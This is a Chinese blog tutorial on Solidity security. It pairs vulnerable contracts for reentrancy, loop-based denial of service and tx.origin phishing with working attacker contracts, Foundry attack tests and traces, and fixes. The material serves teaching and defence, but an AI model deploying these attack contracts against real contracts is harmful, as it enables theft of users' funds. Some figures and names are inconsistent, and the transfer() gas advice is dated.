Solidity 安全:已知攻击方法和常见防御模式综合列表

Solidity 安全:已知攻击方法和常见防御模式综合列表

Posted by Mr. Alex on 2024-05-11
Estimated Reading Time 11 Minutes
Words 2.5k In Total
Viewed Times

Solidity 安全:已知攻击方法和常见防御模式综合列表

重入漏洞

以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码,合约通常也处理Ether,因此通常会将Ether发送给各种外部用户地址,调用外部合约或将以太坊发送到地址的操作需要合约提交外部调用,这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码(即通过回退函数),包括回调自身,因此代码执行“重新进入”合约,这种攻击被用于臭名昭著的DAO攻击。

漏洞

当合约将Ether发送到未知地址时,可能会发生次攻击,攻击者可以在receive函数中的外部地址构建一个恶意代码的合约,因此,当合约向此地址发送Ether时,它将调用恶意代码,通常,恶意代码会在易受攻击的合约上执行一个函数,该函数会运行一项开发人员不希望的操作。“重入”这个名称来源于外部恶意合约调用了易受攻击合约的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

contract EtherStore{

mapping(address => uint256) public balances;

function depositFunds() public payable{
balances[msg.sender] += msg.value;
}


function withdrawFunds() public{
uint256 _weiToWithdraw = balances[msg.sender];
require(_weiToWithdraw >= 0);
(bool sent, ) = payable(msg.sender).call{value: _weiToWithdraw}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}

}

该合约有两个方法,depositFunds()withdrawFunds() ,depositFunds() 增加存款金额,withdrawFunds 默认用户一次性提取自己所有的存款。

漏洞发生在 (bool sent, ) = msg.sender.call{value: _weiToWithdraw}("");

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import {EtherStore} from "./EtherStore.sol";
contract Attack {
EtherStore public etherStore;
uint256 public attackAmount;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

function attackDeposit() public payable {
etherStore.depositFunds{value: msg.value}();
attackAmount = msg.value;
etherStore.withdrawFunds();
}

receive() external payable {
if (address(etherStore).balance >= attackAmount) {
etherStore.withdrawFunds();
}
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

Test 模拟模拟攻击

1
2
3
4
5
6
7
8
9
10
11
function test_Attack() public {
deal(attacker, 100 ether);
vm.startPrank(attacker);
//用户存款
etherStore.depositFunds{value: 15 ether}();
console.log("after deposit:",address(etherStore).balance);
// 攻击合约
attack.attackDeposit{value: 1 ether}();
console.log("after attack:",address(etherStore).balance);
vm.stopPrank();
}

攻击日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
Ran 1 test for test/ReentrancyAttackTest/ReentrancyAttackTest.t.sol:ReentrancyAttackTest
[PASS] test_Attack() (gas: 139843)
Logs:
after deposit: 5000000000000000000
after attack: 0

Traces:
[139843] ReentrancyAttackTest::test_Attack()
├─ [0] VM::deal(0x000000000000000000000000000000000000007B, 100000000000000000000 [1e20])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
│ └─ ← [Return]
├─ [22415] EtherStore::depositFunds{value: 5000000000000000000}()
│ └─ ← [Stop]
├─ [0] console::log("after deposit:", 5000000000000000000 [5e18]) [staticcall]
│ └─ ← [Stop]
├─ [103388] Attack::attackDeposit{value: 1000000000000000000}()
│ ├─ [22415] EtherStore::depositFunds{value: 1000000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [49076] EtherStore::withdrawFunds()
│ │ ├─ [41686] Attack::receive{value: 1000000000000000000}()
│ │ │ ├─ [40818] EtherStore::withdrawFunds()
│ │ │ │ ├─ [33428] Attack::receive{value: 1000000000000000000}()
│ │ │ │ │ ├─ [32560] EtherStore::withdrawFunds()
│ │ │ │ │ │ ├─ [25170] Attack::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ ├─ [24302] EtherStore::withdrawFunds()
│ │ │ │ │ │ │ │ ├─ [16912] Attack::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ ├─ [16044] EtherStore::withdrawFunds()
│ │ │ │ │ │ │ │ │ │ ├─ [8654] Attack::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ │ │ ├─ [7786] EtherStore::withdrawFunds()
│ │ │ │ │ │ │ │ │ │ │ │ ├─ [396] Attack::receive{value: 1000000000000000000}()
│ │ │ │ │ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ └─ ← [Stop]
│ │ │ │ └─ ← [Stop]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] console::log("after attack:", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 642.63µs (218.54µs CPU time)

攻击合约利用自身的receive函数来不断的提取Ether,因为执行转账前它的存款数据并未改变,所以require(_weiToWithdraw >= 0); 一直成立,就会不断的执行次方法,直到取款达到黑客的攻击目标。

预防技术

有许多常用的技术可以避免智能合约潜在的重入漏洞

1: 使用transfer方法,转账功能只能发送2300 gas 不足以使目的地址/调用另一份合约(重入攻击合约)

2:在转账前更改用户存款余额,即balances[msg.sender] = 0; 放在(bool sent, ) = payable(msg.sender).call{value: _weiToWithdraw}(""); 之前。

3:重入锁,也就是说,添加一个代码执行过程中锁定合约的状态变量,阻止重入调用。

修复合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract EtherStore{

mapping(address => uint256) public balances;

bool reEntrancyAttack = false;

function depositFunds() public payable{
balances[msg.sender] += msg.value;
}

// 重入锁
modifier noReEntrancy(){
require(!reEntrancyAttack, "ReEntrancy Attack Detected");
reEntrancyAttack = true;
_;
reEntrancyAttack = false;
}

function withdrawFunds() public noReEntrancy{
uint256 _weiToWithdraw = balances[msg.sender];
//转账前修改用户余额
balances[msg.sender] = 0;
//使用transfer 限制2300 gas
payable(msg.sender).transfer(_weiToWithdraw);
}

}

拒绝服务(DOS)

这个类别非常广泛,但其基本攻击形式都是让用户短暂的在某些情形下永久退出不可操作的合约,这种攻击可以吧Ether永远锁在被攻击的合约中。

漏洞

有很多办法可以让合约变得不可操作,这里我只强调一些微妙的区块链Solidity编码形式,虽然看不太出来,但可能留下让攻击者执行DOS攻击的空间。

1:通过外部操纵映射或数组循环,通常情况下,出现在owner希望在其投资者之间分配代币的情况下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets


function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value); // 5 times the wei sent
}

function distribute() public {
require(msg.sender == owner); // only owner
for (uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
payable(investors[i]).transfer(investorTokens[i]);
}
}
}

攻击者

1
2
3
4
5
6
7
8
9
10
11
12
contract DOSAttacker {

address public impl;

constructor(address _impl) {
impl = _impl;
}
function invest() public payable {
(bool success,) = impl.call{value: msg.value}(abi.encodeWithSignature("invest()"));
require(success, "Invest failed");
}
}

Test 模拟攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {Distribute} from "../../src/DOSAttack/Distribute.sol";
import {DOSAttacker} from "../../src/DOSAttack/DOSAttacker.sol";

contract DOSAttackTest is Test{
Distribute public distribute;
DOSAttacker public attacker;

function setUp() public {
distribute = new Distribute();
attacker = new DOSAttacker(address(distribute));

}

function testDOSAttack() public {

address alex = address(0x1);
address bob = address(0x2);
deal(alex, 1 ether);
deal(bob, 1 ether);
// 普通用户1投资
vm.startPrank(alex);
distribute.invest{value: 0.01 ether}();
vm.stopPrank();
//攻击者投资
attacker.invest{value: 0.1 ether}();

// 普通用户2投资
vm.startPrank(alex);
distribute.invest{value: 0.01 ether}();
vm.stopPrank();

//平台分配投资
distribute.distribute();
}

}

测试结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Ran 1 test for test/DOSAttack/DOSAttackTest.t.sol:DOSAttackTest
[FAIL. Reason: EvmError: Revert] testDOSAttack() (gas: 226197)
Traces:
[299279] DOSAttackTest::setUp()
├─ [100147] → new Distribute@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 500 bytes of code
├─ [107284] → new DOSAttacker@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 424 bytes of code
└─ ← [Stop]

[226197] DOSAttackTest::testDOSAttack()
├─ [0] VM::deal(0x0000000000000000000000000000000000000001, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::deal(0x0000000000000000000000000000000000000002, 1000000000000000000 [1e18])
│ └─ ← [Return]
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000001)
│ └─ ← [Return]
├─ [88624] Distribute::invest{value: 10000000000000000}()
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [54256] DOSAttacker::invest{value: 100000000000000000}()
│ ├─ [44824] Distribute::invest{value: 100000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::startPrank(0x0000000000000000000000000000000000000001)
│ └─ ← [Return]
├─ [44824] Distribute::invest{value: 10000000000000000}()
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [2280] Distribute::distribute()
│ └─ ← [Revert] EvmError: Revert
└─ ← [Revert] EvmError: Revert

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 509.88µs (99.42µs CPU time)

1:请注意,合约遍历的数组可以认为的扩充,攻击者可以创建大量用户,让investors数据变得更大,原则上来说,可以让执行for循环所需要的gas超过区块Gas上限,这会使distribute()函数变得无法操作。

2:所有者操作,常见的模式时所有者在合约中有特定权限,必须执行一些任务才能使合约进入下一个状态,例如,ICO合约要求所有者owner签订合约,才可以转让代币。

3:攻击者合约中没有receive()不能接收以太坊,这会导致被攻击合约中的资产永远被锁在合约中。

预防技术

1:合约不应该遍历可以被外部用户认为操纵的数据结构,建议使用withdraw 模式,每个投资者都会调用取出函数独立取出代币。

2:改变合约的状态需要权限用户,在这样的例子中如果owner已经瘫痪或者私钥被盗,可以使用自动防故障模式。

​ 1:将owner设为一个多签合约,

​ 2:使用时间锁,指定一段时间后,任何用户都可以调用函数,完成合约。

Tx.Origin 用作身份验证

Solidity中有一个全局变量tx.origin,它遍历整个调用栈并返回最初发送交易和调用的账户地址,在智能合约中使用此变量进行身份验证会使合约容易收到此类网络钓鱼的攻击。

漏洞

授权用户使用tx.origin变量的合约通常容易受到网络钓鱼攻击的攻击,这可能会诱骗用户在有漏洞的合约上执行身份验证操作。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract Phishable {
address public owner;

constructor (address _owner) {
owner = _owner;
}

function () public payable {} // collect ether

function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
contract AttackPhishable {

address public impl;
address public owner;

constructor( address _impl, address _owner) {
impl = _impl;
owner = _owner;
}

receive() external payable {
(bool success, ) = impl.call(abi.encodeWithSignature("withdrawAll(address)", owner));
require(success);
}

}

Test 模拟攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import {Test, console} from "forge-std/Test.sol";

import {Phishable} from "../../src/TxOrigin/Phishable.sol";
import {AttackPhishable} from "../../src/TxOrigin/AttackPhishable.sol";

contract ReentrancyAttackTest is Test {
Phishable public phishable;
AttackPhishable public attack;
address public owner = address(0x9);
address public attacker = address(0xA);

function setUp() public {
deal(owner, 2 ether);
vm.startPrank(owner);
phishable = new Phishable(owner);
vm.stopPrank();
attack = new AttackPhishable(address(phishable), attacker);
}

function testAttack() public {
assert(phishable.owner() == owner);
// 往被攻击合约中转入1 个以太坊
payable(address(phishable)).transfer(1 ether);
// 钓鱼合约调用被攻击合约的withdrawAll方法
vm.startPrank(owner, owner);
(bool success, ) = payable(address(attack)).call{value: 0.001 ether}(
""
);
require(success);
vm.stopPrank();
console.log("phishable balance: ", address(phishable).balance);
}
}

要利用AttackPhishable,攻击者会先部署它,然后说服Phishable合约的所有者发送一定数量的ETH到这个恶意合约,攻击者可能把这个合约伪装成他们的私人地址,或者对受害人进行社会工程学攻击,然后后者发送某种形式的交易。

只要受害者向AttackPhishable 地址发送了一个交易且有足够的gas,它将调用receive函数,然后调用Phishable合约中的withdrawAll函数,这将导致所有资金从Phishable合约转到攻击者账户中。因此,tx.origin将等于owner

预防技术

tx.origin不应该用于智能合约授权。这并不是说该tx.origin变量不应该被使用,它确实在智能合约中有一些合法用例,例如,如果有人想要拒绝外部合约调用当前合约,他们可以实现一个从require(tx.origin == msg.sender)中实现这一要求。


If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !